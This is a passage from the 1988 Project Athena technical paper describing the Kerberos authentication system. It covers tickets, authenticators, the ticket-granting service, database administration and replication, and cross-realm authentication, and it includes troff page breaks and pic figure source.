- In Section 8, we mention open issues and problems as
- yet unsolved. The last section gives the current status of
- Kerberos at Project Athena. In the appendix, we describe in
- detail how Kerberos is applied to a network file service to
- authenticate users who wish to gain access to remote file
- systems.
-
- Conventions. Throughout this paper we use terms that
- may be ambiguous, new to the reader, or used differently
- elsewhere. Below we state our use of those terms.
- User, Client, Server. By user, we mean a human being
- who uses a program or service. A client also uses
-
-
- March 30, 1988
-
-
-
-
-
-
- - 3 -
-
-
- something, but is not necessarily a person; it can be a pro-
- gram. Often network applications consist of two parts; one
- program which runs on one machine and requests a remote ser-
- vice, and another program which runs on the remote machine
- and performs that service. We call those the client side
- and server side of the application, respectively. Often, a
- client will contact a server on behalf of a user.
-
- Each entity that uses the Kerberos system, be it a user
- or a network server, is in one sense a client, since it uses
- the Kerberos service. So to distinguish Kerberos clients
- from clients of other services, we use the term principal to
- indicate such an entity. Note that a Kerberos principal can
- be either a user or a server. (We describe the naming of
- Kerberos principals in a later section.)
-
- Service vs. Server. We use service as an abstract
- specification of some actions to be performed. A process
- which performs those actions is called a server. At a given
- time, there may be several servers (usually running on dif-
- ferent machines) performing a given service. For example,
- at Athena there is one BSD UNIX rlogin server running on
- each of our timesharing machines.
-
- Key, Private Key, Password. Kerberos uses private key
- encryption. Each Kerberos principal is assigned a large
- number, its private key, known only to that principal and
- Kerberos. In the case of a user, the private key is the
- result of a one-way function applied to the user's password.
- We use key as shorthand for private key.
-
- Credentials. Unfortunately, this word has a special
- meaning for both the Sun Network File System and the Ker-
- beros system. We explicitly state whether we mean NFS
- credentials or Kerberos credentials, otherwise the term is
- used in the normal English language sense.
-
- Master and Slave. It is possible to run Kerberos
- authentication software on more than one machine. However,
- there is always only one definitive copy of the Kerberos
- database. The machine which houses this database is called
- the master machine, or just the master. Other machines may
- possess read-only copies of the Kerberos database, and these
- are called slaves.
-
- 1. Motivation
-
- In a non-networked personal computing environment,
- resources and information can be protected by physically
- securing the personal computer. In a timesharing computing
- environment, the operating system protects users from one
- another and controls resources. In order to determine what
- each user is able to read or modify, it is necessary for the
- timesharing system to identify each user. This is
-
-
- March 30, 1988
-
-
-
-
-
-
- - 4 -
-
-
- accomplished when the user logs in.
-
- In a network of users requiring services from many
- separate computers, there are three approaches one can take
- to access control: One can do nothing, relying on the
- machine to which the user is logged in to prevent unauthor-
- ized access; one can require the host to prove its identity,
- but trust the host's word as to who the user is; or one can
- require the user to prove her/his identity for each required
- service.
-
- In a closed environment where all the machines are
- under strict control, one can use the first approach. When
- the organization controls all the hosts communicating over
- the network, this is a reasonable approach.
-
- In a more open environment, one might selectively trust
- only those hosts under organizational control. In this
- case, each host must be required to prove its identity. The
- rlogin and rsh programs use this approach. In those proto-
- cols, authentication is done by checking the Internet
- address from which a connection has been established.
-
- In the Athena environment, we must be able to honor
- requests from hosts that are not under organizational con-
- trol. Users have complete control of their workstations:
- they can reboot them, bring them up standalone, or even boot
- off their own tapes. As such, the third approach must be
- taken; the user must prove her/his identity for each desired
- service. The server must also prove its identity. It is
- not sufficient to physically secure the host running a net-
- work server; someone elsewhere on the network may be
- masquerading as the given server.
-
- Our environment places several requirements on an iden-
- tification mechanism. First, it must be secure. Circum-
- venting it must be difficult enough that a potential
- attacker does not find the authentication mechanism to be
- the weak link. Someone watching the network should not be
- able to obtain the information necessary to impersonate
- another user. Second, it must be reliable. Access to many
- services will depend on the authentication service. If it
- is not reliable, the system of services as a whole will not
- be. Third, it should be transparent. Ideally, the user
- should not be aware of authentication taking place.
- Finally, it should be scalable. Many systems can communi-
- cate with Athena hosts. Not all of these will support our
- mechanism, but software should not break if they did.
-
- Kerberos is the result of our work to satisfy the above
- requirements. When a user walks up to a workstation s/he
- ``logs in''. As far as the user can tell, this initial
- identification is sufficient to prove her/his identity to
- all the required network servers for the duration of the
-
-
- March 30, 1988
-
-
-
-
-
-
- - 5 -
-
-
- login session. The security of Kerberos relies on the secu-
- rity of several authentication servers, but not on the sys-
- tem from which users log in, nor on the security of the end
- servers that will be used. The authentication server pro-
- vides a properly authenticated user with a way to prove
- her/his identity to servers scattered across the network.
-
- Authentication is a fundamental building block for a
- secure networked environment. If, for example, a server
- knows for certain the identity of a client, it can decide
- whether to provide the service, whether the user should be
- given special privileges, who should receive the bill for
- the service, and so forth. In other words, authorization
- and accounting schemes can be built on top of the authenti-
- cation that Kerberos provides, resulting in equivalent secu-
- rity to the lone personal computer or the timesharing sys-
- tem.
-
- 2. What is Kerberos?
-
- Kerberos is a trusted third-party authentication ser-
- vice based on the model presented by Needham and
- Schroeder.[3] It is trusted in the sense that each of its
- clients believes Kerberos' judgement as to the identity of
- each of its other clients to be accurate. Timestamps (large
- numbers representing the current date and time) have been
- added to the original model to aid in the detection of
- replay. Replay occurs when a message is stolen off the net-
- work and resent later. For a more complete description of
- replay, and other issues of authentication, see Voydock and
- Kent.[4]
-
- 2.1. What Does It Do?
-
- Kerberos keeps a database of its clients and their
- private keys. The private key is a large number known only
- to Kerberos and the client it belongs to. In the case that
- the client is a user, it is an encrypted password. Network
- services requiring authentication register with Kerberos, as
- do clients wishing to use those services. The private keys
- are negotiated at registration.
-
- Because Kerberos knows these private keys, it can
- create messages which convince one client that another is
- really who it claims to be. Kerberos also generates tem-
- porary private keys, called session keys, which are given to
- two clients and no one else. A session key can be used to
- encrypt messages between two parties.
-
- Kerberos provides three distinct levels of protection.
- The application programmer determines which is appropriate,
- according to the requirements of the application. For exam-
- ple, some applications require only that authenticity be
- established at the initiation of a network connection, and
-
-
- March 30, 1988
-
-
-
-
-
-
- - 6 -
-
-
- can assume that further messages from a given network
- address originate from the authenticated party. Our authen-
- ticated network file system uses this level of security.
-
- Other applications require authentication of each mes-
- sage, but do not care whether the content of the message is
- disclosed or not. For these, Kerberos provides safe mes-
- sages. Yet a higher level of security is provided by
- private messages, where each message is not only authenti-
- cated, but also encrypted. Private messages are used, for
- example, by the Kerberos server itself for sending passwords
- over the network.
-
- 2.2. Software Components
-
- The Athena implementation comprises several modules
- (see Figure 1). The Kerberos applications library provides
- an interface for application clients and application
- servers. It contains, among others, routines for creating
- or reading authentication requests, and the routines for
- creating safe or private messages.
-
-
- o Kerberos applications library
- o encryption library
- o database library
- o database administration programs
- o administration server
- o authentication server
- o db propagation software
- o user programs
- o applications
-
- Figure 1. Kerberos Software Components.
-
-
- Encryption in Kerberos is based on DES, the Data
- Encryption Standard.[5] The encryption library implements
- those routines. Several methods of encryption are provided,
- with tradeoffs between speed and security. An extension to
- the DES Cypher Block Chaining (CBC) mode, called the Pro-
- pagating CBC mode, is also provided. In CBC, an error is
- propagated only through the current block of the cipher,
- whereas in PCBC, the error is propagated throughout the mes-
- sage. This renders the entire message useless if an error
- occurs, rather than just a portion of it. The encryption
- library is an independent module, and may be replaced with
- other DES implementations or a different encryption library.
-
- Another replaceable module is the database management
- system. The current Athena implementation of the database
- library uses ndbm, although Ingres was originally used.
- Other database management libraries could be used as well.
-
-
-
- March 30, 1988
-
-
-
-
-
-
- - 7 -
-
-
- The Kerberos database needs are straightforward; a
- record is held for each principal, containing the name,
- private key, and expiration date of the principal, along
- with some administrative information. (The expiration date
- is the date after which an entry is no longer valid. It is
- usually set to a few years into the future at registration.)
-
- Other user information, such as real name, phone
- number, and so forth, is kept by another server, the Hesiod
- nameserver.[6] This way, sensitive information, namely pass-
- words, can be handled by Kerberos, using fairly high secu-
- rity measures; while the non-sensitive information kept by
- Hesiod is dealt with differently; it can, for example, be
- sent unencrypted over the network.
-
- The Kerberos servers use the database library, as do
- the tools for administering the database.
-
- The administration server (or KDBM server) provides a
- read-write network interface to the database. The client
- side of the program may be run on any machine on the net-
- work. The server side, however, must run on the machine
- housing the Kerberos database in order to make changes to
- the database.
-
- The authentication server (or Kerberos server), on the
- other hand, performs read-only operations on the Kerberos
- database, namely, the authentication of principals, and gen-
- eration of session keys. Since this server does not modify
- the Kerberos database, it may run on a machine housing a
- read-only copy of the master Kerberos database.
-
- Database propagation software manages replication of
- the Kerberos database. It is possible to have copies of the
- database on several different machines, with a copy of the
- authentication server running on each machine. Each of
- these slave machines receives an update of the Kerberos
- database from the master machine at given intervals.
-
- Finally, there are end-user programs for logging in to
- Kerberos, changing a Kerberos password, and displaying or
- destroying Kerberos tickets (tickets are explained later
- on).
-
- 3. Kerberos Names
-
- Part of authenticating an entity is naming it. The
- process of authentication is the verification that the
- client is the one named in a request. What does a name con-
- sist of? In Kerberos, both users and servers are named. As
- far as the authentication server is concerned, they are
- equivalent. A name consists of a primary name, an instance,
- and a realm, expressed as name.instance@realm (see Figure
- 2).
-
-
- March 30, 1988
-
-
-
-
-
-
- - 8 -
-
-
-
-
- bcn
- treese.root
- jis@LCS.MIT.EDU
- rlogin.priam@ATHENA.MIT.EDU
-
- Figure 2. Kerberos Names.
-
-
- The primary name is the name of the user or the ser-
- vice. The instance is used to distinguish among variations
- on the primary name. For users, an instance may entail spe-
- cial privileges, such as the ``root'' or ``admin''
- instances. For services in the Athena environment, the
- instance is usually the name of the machine on which the
- server runs. For example, the rlogin service has different
- instances on different hosts: rlogin.priam is the rlogin
- server on the host named priam. A Kerberos ticket is only
- good for a single named server. As such, a separate ticket
- is required to gain access to different instances of the
- same service. The realm is the name of an administrative
- entity that maintains authentication data. For example,
- different institutions may each have their own Kerberos
- machine, housing a different database. They have different
- Kerberos realms. (Realms are discussed further in section
- 8.2.)
-
- 4. How It Works
-
- This section describes the Kerberos authentication pro-
- tocols. The following abbreviations are used in the fig-
- ures.
-
- c -> client
- s -> server
- addr -> client's network address
- life -> lifetime of ticket
- tgs, TGS -> ticket-granting server
- Kerberos -> authentication server
- KDBM -> administration server
- Kx -> x's private key
- Kx,y -> session key for x and y
- {abc}Kx -> abc encrypted in x's key
- Tx,y -> x's ticket to use y
- Ax -> authenticator for x
- WS -> workstation
-
-
-
- As mentioned above, the Kerberos authentication model is
- based on the Needham and Schroeder key distribution proto-
- col. When a user requests a service, her/his identity must
-
-
- March 30, 1988
-
-
-
-
-
-
- - 9 -
-
-
- be established. To do this, a ticket is presented to the
- server, along with proof that the ticket was originally
- issued to the user, not stolen. There are three phases to
- authentication through Kerberos. In the first phase, the
- user obtains credentials to be used to request access to
- other services. In the second phase, the user requests
- authentication for a specific service. In the final phase,
- the user presents those credentials to the end server.
-
- 4.1. Credentials
-
- There are two types of credentials used in the Kerberos
- authentication model: tickets and authenticators. Both are
- based on private key encryption, but they are encrypted
- using different keys. A ticket is used to securely pass the
- identity of the person to whom the ticket was issued between
- the authentication server and the end server. A ticket also
- passes information that can be used to make sure that the
- person using the ticket is the same person to which it was
- issued. The authenticator contains the additional informa-
- tion which, when compared against that in the ticket proves
- that the client presenting the ticket is the same one to
- which the ticket was issued.
-
- A ticket is good for a single server and a single
- client. It contains the name of the server, the name of the
- client, the Internet address of the client, a timestamp, a
- lifetime, and a random session key. This information is
- encrypted using the key of the server for which the ticket
- will be used. Once the ticket has been issued, it may be
- used multiple times by the named client to gain access to
- the named server, until the ticket expires. Note that
- because the ticket is encrypted in the key of the server, it
- is safe to allow the user to pass the ticket on to the
- server without having to worry about the user modifying the
- ticket (see Figure 3).
-
-
- {s, c, addr, timestamp, life, Ks,c}Ks
-
- Figure 3. A Kerberos Ticket.
-
-
- Unlike the ticket, the authenticator can only be used
- once. A new one must be generated each time a client wants
- to use a service. This does not present a problem because
- the client is able to build the authenticator itself. An
- authenticator contains the name of the client, the
- workstation's IP address, and the current workstation time.
- The authenticator is encrypted in the session key that is
- part of the ticket (see Figure 4).
-
-
-
-
-
- March 30, 1988
-
-
-
-
-
-
- - 10 -
-
-
-
-
- {c, addr, timestamp}Ks,c
-
- Figure 4. A Kerberos Authenticator.
-
-
- 4.2. Getting the Initial Ticket
-
- When the user walks up to a workstation, only one piece
- of information can prove her/his identity: the user's pass-
- word. The initial exchange with the authentication server
- is designed to minimize the chance that the password will be
- compromised, while at the same time not allowing a user to
- properly authenticate her/himself without knowledge of that
- password. The process of logging in appears to the user to
- be the same as logging in to a timesharing system. Behind
- the scenes, though, it is quite different (see Figure 5).
-
- linewid = 1.5i
- ellipsewid = .7i
- ellipse "Client"
- arrow "c, tgs" ""
- ellipse "Kerberos"
- linewid = 1.5i
- ellipsewid = .7i
- ellipse "Client"
- line <- "" "{Kc,tgs,{Tc,tgs} Ktgs}Kc"
- ellipse "Kerberos"
-
- Figure 5. Getting the Initial Ticket.
-
-
- The user is prompted for her/his username. Once it has
- been entered, a request is sent to the authentication server
- containing the user's name and the name of a special service
- known as the ticket-granting service.
-
- The authentication server checks that it knows about
- the client. If so, it generates a random session key which
- will later be used between the client and the ticket-
- granting server. It then creates a ticket for the ticket-
- granting server which contains the client's name, the name
- of the ticket-granting server, the current time, a lifetime
- for the ticket, the client's IP address, and the random ses-
- sion key just created. This is all encrypted in a key known
- only to the ticket-granting server and the authentication
- server.
-
- The authentication server then sends the ticket, along
- with a copy of the random session key and some additional
- information, back to the client. This response is encrypted
- in the client's private key, known only to Kerberos and the
- client, which is derived from the user's password.
-
-
- March 30, 1988
-
-
-
-
-
-
- - 11 -
-
-
- Once the response has been received by the client, the
- user is asked for her/his password. The password is con-
- verted to a DES key and used to decrypt the response from
- the authentication server. The ticket and the session key,
- along with some of the other information, are stored for
- future use, and the user's password and DES key are erased
- from memory.
-
- Once the exchange has been completed, the workstation
- possesses information that it can use to prove the identity
- of its user for the lifetime of the ticket-granting ticket.
- As long as the software on the workstation had not been pre-
- viously tampered with, no information exists that will allow
- someone else to impersonate the user beyond the life of the
- ticket.
-
- 4.3. Requesting a Service
-
- For the moment, let us pretend that the user already
- has a ticket for the desired server. In order to gain
- access to the server, the application builds an authentica-
- tor containing the client's name and IP address, and the
- current time. The authenticator is then encrypted in the
- session key that was received with the ticket for the
- server. The client then sends the authenticator along with
- the ticket to the server in a manner defined by the indivi-
- dual application.
-
- Once the authenticator and ticket have been received by
- the server, the server decrypts the ticket, uses the session
- key included in the ticket to decrypt the authenticator,
- compares the information in the ticket with that in the
- authenticator, the IP address from which the request was
- received, and the present time. If everything matches, it
- allows the request to proceed (see Figure 6).
-
- linewid = 1.5i
- ellipsewid = .7i
- ellipse "Client"
- arrow "{Ac}Kc,s, {Tc,s}Ks" ""
- ellipse "Server"
- Figure 6. Requesting a Service.
-
-
- It is assumed that clocks are synchronized to within
- several minutes. If the time in the request is too far in
- the future or the past, the server treats the request as an
- attempt to replay a previous request. The server is also
- allowed to keep track of all past requests with timestamps
- that are still valid. In order to further foil replay
- attacks, a request received with the same ticket and time-
- stamp as one already received can be discarded.
-
- Finally, if the client specifies that it wants the
-
-
- March 30, 1988
-
-
-
-
-
-
- - 12 -
-
-
- server to prove its identity too, the server adds one to the
- timestamp the client sent in the authenticator, encrypts the
- result in the session key, and sends the result back to the
- client (see Figure 7).
-
- linewid = 1.5i
- ellipsewid = .7i
- ellipse "Client"
- line <- "" "{timestamp + 1} Kc,s"
- ellipse "Server"
- Figure 7. Mutual Authentication.
-
-
- At the end of this exchange, the server is certain
- that, according to Kerberos, the client is who it says it
- is. If mutual authentication occurs, the client is also
- convinced that the server is authentic. Moreover, the
- client and server share a key which no one else knows, and
- can safely assume that a reasonably recent message encrypted
- in that key originated with the other party.
-
- 4.4. Getting Server Tickets
-
- Recall that a ticket is only good for a single server.
- As such, it is necessary to obtain a separate ticket for
- each service the client wants to use. Tickets for indivi-
- dual servers can be obtained from the ticket-granting ser-
- vice. Since the ticket-granting service is itself a ser-
- vice, it makes use of the service access protocol described
- in the previous section.
-
- When a program requires a ticket that has not already
- been requested, it sends a request to the ticket-granting
- server (see Figure 8). The request contains the name of the
- server for which a ticket is requested, along with the
- ticket-granting ticket and an authenticator built as
- described in the previous section.
-
- linewid = 1.7i
- ellipsewid = .7i
- ellipse "Client"
- arrow "s,{Tc,tgs}Ktgs,{Ac}Kc,tgs" ""
- ellipse "TGS"
- linewid = 1.7i
- ellipsewid = .7i
- ellipse "Client"
- line <- "" "{{Tc,s}Ks,Kc,s}Kc,tgs"
- ellipse "TGS"
-
- Figure 8. Getting a Server Ticket.
-
-
- The ticket-granting server then checks the authentica-
- tor and ticket-granting ticket as described above. If
-
-
- March 30, 1988
-
-
-
-
-
-
- - 13 -
-
-
- valid, the ticket-granting server generates a new random
- session key to be used between the client and the new
- server. It then builds a ticket for the new server contain-
- ing the client's name, the server name, the current time,
- the client's IP address and the new session key it just gen-
- erated. The lifetime of the new ticket is the minimum of
- the remaining life for the ticket-granting ticket and the
- default for the service.
-
- The ticket-granting server then sends the ticket, along
- with the session key and other information, back to the
- client. This time, however, the reply is encrypted in the
- session key that was part of the ticket-granting ticket.
- This way, there is no need for the user to enter her/his
- password again. Figure 9 summarizes the authentication pro-
- tocols.
-
- circlerad = .32i
- Kerbie:
- circle at -1,1 "Kerberos"
- Client:
- circle at 0,0 "User/" "Client"
- TGS:
- circle at 1,1 "TGS"
- Server:
- circle at 1.75,0 "Server"
- arrow from Client.w to Kerbie.s "1 " below
- arrow from Kerbie.e to Client.n " 2" above
- arrow from Client.n to TGS.w "3" above
- arrow from TGS.s to Client.e "4" above
- arrow from Client.e to Server.w "5" above
- 1. Request for TGS ticket
- 2. Ticket for TGS
- 3. Request for Server ticket
- 4. Ticket for Server
- 5. Request for service
-
- Figure 9. Kerberos Authentication Protocols.
-
-
- 5. The Kerberos Database
-
- Up to this point, we have discussed operations requir-
- ing read-only access to the Kerberos database. These opera-
- tions are performed by the authentication service, which can
- run on both master and slave machines (see Figure 10).
-
-
-
-
-
-
-
-
-
-
- March 30, 1988
-
-
-
-
-
-
- - 14 -
-
-
-
-
- boxwid = .5i
- WS1:
- box
- move right
- WS2:
- box
- move right
- WS3:
- box
- move right
- Box1:
- box invis with .n at WS1.s-(0,.5i)
- Slave:
- box
- move right
- Master:
- box
- Titles:
- "WS" at WS1.n above
- "WS" at WS2.n above
- "WS" at WS3.n above
- "Slave" at Slave.s below
- "Master" at Master.s below
- Arrows:
- arrow from WS1.s to Slave.n
- arrow from WS2.s to Slave.n
- arrow from WS3.s to Slave.n
- arrow from WS1.s to Master.n
- arrow from WS2.s to Master.n
- arrow from WS3.s to Master.n
-
-
- Figure 10. Authentication Requests.
-
-
- In this section, we discuss operations that require
- write access to the database. These operations are per-
- formed by the administration service, called the Kerberos
- Database Management Service (KDBM). The current implementa-
- tion stipulates that changes may only be made to the master
- Kerberos database; slave copies are read-only. Therefore,
- the KDBM server may only run on the master Kerberos machine
- (see Figure 11).
-
-
-
-
-
-
-
-
-
-
-
- March 30, 1988
-
-
-
-
-
-
- - 15 -
-
-
-
-
- boxwid = .5i
- WS1:
- box
- move right
- WS2:
- box
- move right
- WS3:
- box
- move right
- Box1:
- box invis with .n at WS1.s-(0,.5i)
- Slave:
- box dashed
- move right
- Master:
- box
- Titles:
- "WS" at WS1.n above
- "WS" at WS2.n above
- "WS" at WS3.n above
- "Slave" at Slave.s below
- "Master" at Master.s below
- Arrows:
- arrow from WS1.s to Master.n
- arrow from WS2.s to Master.n
- arrow from WS3.s to Master.n
-
-
- Figure 11. Administration Requests.
-
- Note that, while authentication can still occur (on slaves),
- administration requests cannot be serviced if the master
- machine is down. In our experience, this has not presented
- a problem, as administration requests are infrequent.
-
- The KDBM handles requests from users to change their
- passwords. The client side of this program, which sends
- requests to the KDBM over the network, is the kpasswd pro-
- gram. The KDBM also accepts requests from Kerberos adminis-
- trators, who may add principals to the database, as well as
- change passwords for existing principals. The client side
- of the administration program, which also sends requests to
- the KDBM over the network, is the kadmin program.
-
- 5.1. The KDBM Server
-
- The KDBM server accepts requests to add principals to
- the database or change the passwords for existing princi-
- pals. This service is unique in that the ticket-granting
- service will not issue tickets for it. Instead, the authen-
- tication service itself must be used (the same service that
-
-
- March 30, 1988
-
-
-
-
-
-
- - 16 -
-
-
- is used to get a ticket-granting ticket). The purpose of
- this is to require the user to enter a password. If this
- were not so, then if a user left her/his workstation unat-
- tended, a passerby could walk up and change her/his password
- for them, something which should be prevented. Likewise, if
- an administrator left her/his workstation unguarded, a
- passerby could change any password in the system.
-
- When the KDBM server receives a request, it authorizes
- it by comparing the authenticated principal name of the
- requester of the change to the principal name of the target
- of the request. If they are the same, the request is per-
- mitted. If they are not the same, the KDBM server consults
- an access control list (stored in a file on the master Ker-
- beros system). If the requester's principal name is found
- in this file, the request is permitted, otherwise it is
- denied.
-
- By convention, names with a NULL instance (the default
- instance) do not appear in the access control list file;
- instead, an admin instance is used. Therefore, for a user
- to become an administrator of Kerberos an admin instance for
- that username must be created, and added to the access con-
- trol list. This convention allows an administrator to use a
- different password for Kerberos administration then s/he
- would use for normal login.
-
- All requests to the KDBM program, whether permitted or
- denied, are logged.
-
- 5.2. The kadmin and kpasswd Programs
-
- Administrators of Kerberos use the kadmin program to
- add principals to the database, or change the passwords of
- existing principals. An administrator is required to enter
- the password for their admin instance name when they invoke
- the kadmin program. This password is used to fetch a ticket
- for the KDBM server (see Figure 12).
-
- Kerbie:
- circle at -1,1 "Kerberos"
- Client:
- circle at 0,0 "User/" "Admin"
- KDBM:
- circle at 1,1 "KDBM"
- arrow from Client.w to Kerbie.s "1 " below
- arrow from Kerbie.e to Client.n " 2" above
- arrow from Client.ne to KDBM.sw "3" above
- 1. Request for KDBM ticket
- 2. Ticket for KDBM
- 3. kadmin or kpasswd request
-
- Figure 12. Kerberos Administration Protocol.
-
-
-
- March 30, 1988
-
-
-
-
-
-
- - 17 -
-
-
- Users may change their Kerberos passwords using the
- kpasswd program. They are required to enter their old pass-
- word when they invoke the program. This password is used to
- fetch a ticket for the KDBM server.
-
- 5.3. Database Replication
- Each Kerberos realm has a master Kerberos machine,
- which houses the master copy of the authentication database.
- It is possible (although not necessary) to have additional,
- read-only copies of the database on slave machines elsewhere
- in the system. The advantages of having multiple copies of
- the database are those usually cited for replication:
- higher availability and better performance. If the master
- machine is down, authentication can still be achieved on one
- of the slave machines. The ability to perform authentica-
- tion on any one of several machines reduces the probability
- of a bottleneck at the master machine.
-
- Keeping multiple copies of the database introduces the
- problem of data consistency. We have found that very simple
- methods suffice for dealing with inconsistency. The master
- database is dumped every hour. The database is sent, in its
- entirety, to the slave machines, which then update their own
- databases. A program on the master host, called kprop,
- sends the update to a peer program, called kpropd, running
- on each of the slave machines (see Figure 13). First kprop
- sends a checksum of the new database it is about to send.
- The checksum is encrypted in the Kerberos master database
- key, which both the master and slave Kerberos machines pos-
- sess. The data is then transferred over the network to the
- kpropd on the slave machine. The slave propagation server
- calculates a checksum of the data it has received, and if it
- matches the checksum sent by the master, the new information
- is used to update the slave's database.
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- March 30, 1988
-
-
-
-
-
-
- - 18 -
-
-
-
-
- boxwid = .75i
- Box1:
- box invis
- move right
- Master:
- box "" "kprop"
- move right
- Box3:
- box invis
- Slave1:
- box "kpropd" "" with .nw at Box1.sw-(0,.5i)
- move right
- Slave2:
- box "kpropd" ""
- move right
- Slave3:
- box "kpropd" ""
- Titles:
- "Master" at Master.n above
- "Slave" at Slave1.s below
- "Slave" at Slave2.s below
- "Slave" at Slave3.s below
- Arrows:
- arrow from Master.s to Slave1.n
- arrow from Master.s to Slave2.n
- arrow from Master.s to Slave3.n
-
-
- Figure 13. Database Propagation.
-
-
- All passwords in the Kerberos database are encrypted in
- the master database key Therefore, the information passed
- from master to slave over the network is not useful to an
- eavesdropper. However, it is essential that only informa-
- tion from the master host be accepted by the slaves, and
- that tampering of data be detected, thus the checksum.
-
- 6. Kerberos From the Outside Looking In
-
- The section will describe Kerberos from the practical
- point of view, first as seen by the user, then from the
- application programmer's viewpoint, and finally, through the
- tasks of the Kerberos administrator.
-
- 6.1. User's Eye View
-
- If all goes well, the user will hardly notice that Ker-
- beros is present. In our UNIX implementation, the ticket-
- granting ticket is obtained from Kerberos as part of the
- login process. The changing of a user's Kerberos password
- is part of the passwd program. And Kerberos tickets are
-
-
- March 30, 1988
-
-
-
-
-
-
- - 19 -
-
-
- automatically destroyed when a user logs out.
-
- If the user's login session lasts longer than the life-
- time of the ticket-granting ticket (currently 8 hours), the
- user will notice Kerberos' presence because the next time a
- Kerberos-authenticated application is executed, it will
- fail. The Kerberos ticket for it will have expired. At
- that point, the user can run the kinit program to obtain a
- new ticket for the ticket-granting server. As when logging
- in, a password must be provided in order to get it. A user
- executing the klist command out of curiosity may be
- surprised at all the tickets which have silently been
- obtained on her/his behalf for services which require Ker-
- beros authentication.
-
- 6.2. From the Programmer's Viewpoint
-
- A programmer writing a Kerberos application will often
- be adding authentication to an already existing network
- application consisting of a client and server side. We call
- this process ``Kerberizing'' a program. Kerberizing usually
- involves making a call to the Kerberos library in order to
- perform authentication at the initial request for service.
- It may also involve calls to the DES library to encrypt mes-
- sages and data which are subsequently sent between applica-
- tion client and application server.
-
- The most commonly used library functions are krb_mk_req
- on the client side, and krb_rd_req on the server side. The
- krb_mk_req routine takes as parameters the name, instance,
- and realm of the target server, which will be requested, and
- possibly a checksum of the data to be sent. The client then
- sends the message returned by the krb_mk_req call over the
- network to the server side of the application. When the
- server receives this message, it makes a call to the library
- routine krb_rd_req. The routine returns a judgement about
- the authenticity of the sender's alleged identity.
-
- If the application requires that messages sent between
- client and server be secret, then library calls can be made
- to krb_mk_priv (krb_rd_priv) to encrypt (decrypt) messages
- in the session key which both sides now share.[7]
-
- 6.3. The Kerberos Administrator's Job
-
- The Kerberos administrator's job begins with running a
- program to initialize the database. Another program must be
- run to register essential principals in the database, such
- as the Kerberos administrator's name with an admin instance.
- The Kerberos authentication server and the administration
- server must be started up. If there are slave databases,
- the administrator must arrange that the programs to pro-
- pagate database updates from master to slaves be kicked off
- periodically.
-
-
- March 30, 1988
-
-
-
-
-
-
- - 20 -
-
-
- After these initial steps have been taken, the adminis-
- trator manipulates the database over the network, using the
- kadmin program. Through that program, new principals can be
- added, and passwords can be changed.
-
- In particular, when a new Kerberos application is added
- to the system, the Kerberos administrator must take a few
- steps to get it working. The server must be registered in
- the database, and assigned a private key (usually this is an
- automatically generated random key). Then, some data
- (including the server's key) must be extracted from the
- database and installed in a file on the server's machine.
- The default file is /etc/srvtab. The krb_rd_req library
- routine called by the server (see the previous section) uses
- the information in that file to decrypt messages sent
- encrypted in the server's private key. The /etc/srvtab file
- authenticates the server as a password typed at a terminal
- authenticates the user.
-
- The Kerberos administrator must also ensure that Ker-
- beros machines are physically secure, and would also be wise
- to maintain backups of the Master database.[8]
-
- 7. The Bigger Picture
-
- In this section, we describe how Kerberos fits into the
- Athena environment, including its use by other network ser-
- vices and applications, and how it interacts with remote
- Kerberos realms. For a more complete description of the
- Athena environment, please see G. W. Treese.[9]
-
- 7.1. Other Network Services' Use of Kerberos
-
- Several network applications have been modified to use
- Kerberos. The rlogin and rsh commands first try to authen-
- ticate using Kerberos. A user with valid Kerberos tickets
- can rlogin to another Athena machine without having to set
- up .rhosts files. If the Kerberos authentication fails, the
- programs fall back on their usual methods of authorization,
- in this case, the .rhosts files.
-
- We have modified the Post Office Protocol to use Ker-
- beros for authenticating users who wish to retrieve their
- electronic mail from the ``post office''. A message
- delivery program, called Zephyr, has been recently developed
- at Athena, and it uses Kerberos for authentication as
- well.[10]
-
- The program for signing up new users, called register,
- uses both the Service Management System (SMS)[11] and Ker-
- beros. From SMS, it determines whether the information
- entered by the would-be new Athena user, such as name and
- MIT identification number, is valid. It then checks with
- Kerberos to see if the requested username is unique. If all
-
-
- March 30, 1988
-
-
-
-
-
- - 21 -
-
-
- goes well, a new entry is made to the Kerberos database,
- containing the username and password.
-
- For a detailed discussion of the use of Kerberos to
- secure Sun's Network File System, please refer to the appen-
- dix.
-
- 7.2. Interaction with Other Kerberi
-
- It is expected that different administrative organiza-
- tions will want to use Kerberos for user authentication. It
- is also expected that in many cases, users in one organiza-
- tion will want to use services in another. Kerberos sup-
- ports multiple administrative domains. The specification of
- names in Kerberos includes a field called the realm. This
- field contains the name of the administrative domain within
- which the user is to be authenticated.
-
- Services are usually registered in a single realm and
- will only accept credentials issued by an authentication
- server for that realm. A user is usually registered in a
- single realm (the local realm), but it is possible for
- her/him to obtain credentials issued by another realm (the
- remote realm), on the strength of the authentication pro-
- vided by the local realm. Credentials valid in a remote
- realm indicate the realm in which the user was originally
- authenticated. Services in the remote realm can choose
- whether to honor those credentials, depending on the degree
- of security required and the level of trust in the realm
- that initially authenticated the user.
-
- In order to perform cross-realm authentication, it is
- necessary that the administrators of each pair of realms
- select a key to be shared between their realms. A user in
- the local realm can then request a ticket-granting ticket
- from the local authentication server for the ticket-granting
- server in the remote realm. When that ticket is used, the
- remote ticket-granting server recognizes that the request is
- not from its own realm, and it uses the previously exchanged
- key to decrypt the ticket-granting ticket. It then issues a
- ticket as it normally would, except that the realm field for
- the client contains the name of the realm in which the
- client was originally authenticated.
-
- This approach could be extended to allow one to authen-
- ticate oneself through a series of realms until reaching the
- realm with the desired service. In order to do this,
- though, it would be necessary to record the entire path that
- was taken, and not just the name of the initial realm in
- which the user was authenticated. In such a situation, all
- that is known by the server is that A says that B says that
- C says that the user is so-and-so. This statement can only
- be trusted if everyone along the path is also trusted.
-
-
-
- March 30, 1988
-
-
-
-
-
- - 22 -
-
-
- 8. Issues and Open Problems
-
- There are a number of issues and open problems associ-
- ated with the Kerberos authentication mechanism. Among the
- issues are how to decide the correct lifetime for a ticket,
- how to allow proxies, and how to guarantee workstation
- integrity.
-
- The ticket lifetime problem is a matter of choosing the
- proper tradeoff between security and convenience. If the
- life of a ticket is long, then if a ticket and its associ-
- ated session key are stolen or misplaced, they can be used
- for a longer period of time. Such information can be stolen
- if a user forgets to log out of a public workstation.
- Alternatively, if a user has been authenticated on a system
- that allows multiple users, another user with access to root
- might be able to find the information needed to use stolen
- tickets. The problem with giving a ticket a short lifetime,
- however, is that when it expires, the user will have to
